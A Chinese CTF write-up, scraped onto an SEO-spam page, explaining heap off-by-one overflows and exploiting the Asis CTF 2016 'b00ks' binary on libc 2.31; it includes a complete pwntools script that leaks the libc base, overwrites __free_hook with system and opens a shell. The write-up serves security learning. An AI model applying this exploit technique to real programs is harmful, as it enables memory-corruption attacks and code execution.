当前位置: 首页 > news >正文

织梦网站模版下载网站的涂鸦效果图怎么做的

织梦网站模版下载,网站的涂鸦效果图怎么做的,苏州网站建设找哪家,网页设计1920尺寸文章目录 堆的off-by-one利用思路Asis CTF 2016 b00ks libc 2.31IDA源码main输入名字creat函数dele函数edit函数print函数reeditor name函数 思路exp思路 堆的off-by-one off-by-one指的是单字节缓冲区溢出#xff08;off-by-one 是可以基于各种缓冲区的#xff0c;比如栈、… 文章目录 堆的off-by-one利用思路Asis CTF 2016 b00ks libc 2.31IDA源码main输入名字creat函数dele函数edit函数print函数reeditor name函数 思路exp思路 堆的off-by-one off-by-one指的是单字节缓冲区溢出off-by-one 是可以基于各种缓冲区的比如栈、bss 段等等 写入字节时超过本身申请的一个字节 循环设置错误多写了一个字节字符串长度判断有误 strlen()计算字符串的长度不包括空结束字符 调用gets函数后 字符串结束符自动添加到输入字符串末尾 strcpy拷贝时候会把空结束字符也拷贝) 利用思路 当溢出部分可控制任意字节时且溢出部分为size段时可修改大小进而泄露其他chunk数据或者覆盖其他块的数据 当溢出部分固定为NULL字节时且溢出部分为size段时且size大小为0x100的整数倍时它的低字节会被清0同时标志位都会被清0这样前一个chunk块会被认为free块 1可以利用unlink 2可以利用同时构造pre_size和对应的NULL字节溢出然后unlink时合并此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。 注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致2.28 及之前版本并没有该 check /* consolidate backward */if (!prev_inuse(p)) {prevsize prev_size (p);size prevsize;p chunk_at_offset(p, -((long) prevsize));/* 后两行代码在最新版本中加入则 2 的第二种方法无法使用但是 2.28 及之前都没有问题 */if (__glibc_unlikely (chunksize(p) ! prevsize))malloc_printerr (corrupted size vs. prev_size while consolidating);unlink_chunk (av, p);}Asis CTF 2016 b00ks libc 2.31 IDA源码 main 输入名字 存在溢出 *a10 creat函数 dele函数 edit函数 print函数 reeditor name函数 思路 三类堆块第一类为name的第二类为description的第三类为存储name和description堆块相关信息的 两坨空间off_202010和0ff_202018分别存储着偏移202060和202040的地址偏移202060对应的是author name的偏移202040对应的是第三类堆块的地址 只有接近或超过top_chunk的size128KB2的17次方字节即0x2000大小时候才会使用mmap扩展. 某些版本libc和mmap分配的堆块之间的偏移是固定的。 利用溢出的空字符特性首先写入32个字节的名字然后creat两次第一次对应的chunk大小都为malloc分配的且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址第二次对应的chunk大小大于top_chunk的size从而被mmap分配然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址然后重写第一次chunk的description第二类chunk构造为description部分对应第二次chunk的地址的chunk然后重写名字将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置从而实现最低位字节为\x00进而对应了第一次chunk的第二类chunk地址然后print此时会输出第二次chunk对应的description的chunk的地址由于该chunk是mmap分配的此时版本对应的该chunk地址和libc基址距离固定可求libc基地址进而求__free_hook地址和system函数地址然后再重写此时的第一次chunk已经被构造为之前第一次chunk对应的description的chunk了的description进而修改第二次chunk的第三类chunk中的description的chunk的地址此时用__free_hook的地址写入然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址 exp from pwn import * #context(oslinux,archamd64,log_leveldebug) sprocess(./b00ks) fELF(./b00ks) libcELF(./libc-2.31.so)#gdb.attach(s,b main) def cre(name_size,name,description_size,description):s.recvuntil(b )s.sendline(b1)s.recvuntil(bsize: )s.sendline(str(name_size))s.recvuntil(bEnter book name (Max 32 chars): )s.sendline(name)s.recvuntil(bsize: )s.sendline(str(description_size))s.recvuntil(bEnter book description: )s.sendline(description)def change(name):s.recvuntil(b )s.sendline(b5)s.recvuntil(b: )s.sendline(name)def printbook(id):s.recvuntil(b )s.sendline(b4)for i in range(id):s.recvuntil(bID: )ids.recvline()[:-1]s.recvuntil(bName: )names.recvline()[:-1]s.recvuntil(bDescription: )dess.recvline()[:-1]s.recvuntil(bA*32)addrs.recvline()[:-1]return name,addrdef edit(id,des):s.recvuntil(b )s.sendline(b3)s.recvuntil(bedit: )s.sendline(str(id))s.recvuntil(bdescription: )s.sendline(des)def dele(id):s.recvuntil(b )s.sendline(b2)s.recvuntil(bto delete: )s.sendline(str(id))s.recvuntil(bname: ) s.sendline(bA*32) cre(64,b10,32,b10) cre(0x21000,b10,0x21000,b10)name,addrprintbook(1)addru64(addr.ljust(8,b\x00)) payloadp64(1)p64(addr0x38)p64(addr0x40)p64(0xfffffff) edit(1,payload) change(bA*32) name,addrprintbook(1) addru64(name.ljust(8,b\x00)) libc_baseaddr0x21ff0 free_hook_addrlibc.sym[__free_hook]libc_base payloadp64(free_hook_addr) edit(1,payload) systemaddrlibc.sym[system]libc_base edit(2,p64(systemaddr)) payloadb/bin/sh.ljust(8,b\x00) edit(1,payload) dele(1) print(hex(addr0x40)) print(hex(free_hook_addr)) print(hex(systemaddr)) s.interactive() 思路 1.利用IDA偏移加上vmmap命令得到的基址可得或利用pwngdb 中的search命令搜索字符串从而知道位置 2得知printf截断特性和原chunk写入时覆盖底地址为\x00还没 3在若覆盖生成的结构体指针对应位置伪造结构体还没覆盖但伪造了 4覆盖原有的结构体指针 5利用覆盖后的结构体指针 7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容再次利用printf导致泄露从而知道函数地址 8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定进而求得其基址 9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等 10将_free_hook变量地址写到某个位置可以将该位置存储的地址所指向的内容修改。可修改_free_hook变量值为system函数地址然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell
http://www.zqtcl.cn/news/340173/

相关文章:

  • 网站内容建设的建议wordpress主题enfold
  • 哪里做网站优化石家庄学校网站建设
  • 诸暨北京有哪些网站制作公司wordpress菜单外链
  • 免费建网站的步骤wordpress分享可见内容
  • 成都网站建设公司服务商自己做网站还有出路吗
  • 汉南城乡建设局网站网站建设新手教程
  • 网站用途及栏目说明软件外包公司开发流程
  • 公司做网站做淘宝好还是自建网站好
  • 成功网站案例有哪些淮安市交通建设局网站
  • 购买虚拟机建网站网站开发合同变更
  • 备案的网站做跳转不影响备案把购彩网站建设
  • 2w网站建设模式百度应用市场
  • vps主机访问网站湖南建站网站
  • 滨州正规网站建设公司用r语言 做网站点击热力图
  • php网站模板wordpress自定义头像上传
  • 江油市规划和建设局网站一个app网站
  • 郑州网站建设up188WordPress响应式幻灯片
  • 幸运28网站代理怎么做网站后期维护工作包括哪些
  • 西安网站建设seo网络营销的职能
  • 大型网站建设哪家服务好dll网站服务
  • 怎样建设网赌网站江苏外贸网站建设
  • 做外贸有哪些网站怎么在360自己做网站
  • 企业网站建立费用 作什么科目深圳服装外贸公司
  • 淘宝网站建设代码视频开放api
  • 清廉企业建设骨科医院网站优化服务商
  • 公司网站建设开源平台网站建设推来客在哪里
  • 本地电脑静态网站建设半年工作总结
  • 潮州哪里做网站html in wordpress
  • 在浏览器上建设网站平面作品集展示图片
  • 建设网站的技术手段天津泰达建设集团网站